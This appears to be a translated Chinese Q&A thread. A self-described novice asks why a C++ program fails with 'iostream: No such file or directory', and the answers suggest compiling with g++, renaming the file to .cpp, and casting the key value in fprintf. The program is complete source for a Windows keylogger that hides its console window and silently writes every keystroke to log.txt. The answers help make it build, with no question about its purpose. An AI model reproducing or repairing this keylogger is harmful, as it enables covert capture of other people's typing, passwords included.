GCC:找不到iostream编译错误



首先,我对编程一无所知。我从一个不工作的网站上得到了一些C代码;当我试图编译这个键盘记录程序:

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}

命令提示符给我

fatal error: iostream: No such file or directory
compilation terminated.

我也试过

#include <iostream.h> 

而不是

#include <iostream>

得到了同样的错误。如何编译代码?它有什么错误吗?如果有,我该如何修复?谢谢(如果你能让像我这样的卢德主义者更容易理解,我真的很感激)使用GCC编译Windows 10 64位

您需要告诉GCC链接到C++库。使用g++而不是gcc将强制执行此操作。

错误是因为使用%s格式化程序的fprintf需要一个指向char的指针,您正在传递一个指向int的指针,在这种情况下,您可以简单地转换为char*

fprintf(OUTPUT_FILE, "%s", reinterpret_cast<char*>(&_key));

然后它就会起作用。

检查C++程序的文件名是否为"。cpp";。

和你一样,我的C++程序找不到正确的头文件。在我的情况下,我只需要重新命名我的";。c";文件到";。cpp";这样Makefile就会做正确的事情并找到头文件和库。

gcc也是C++编译器,所以没有必要更改为g++(它也应该工作)。GCC背景:https://www3.ntu.edu.sg/home/ehchua/programming/cpp/gcc_make.html

最新更新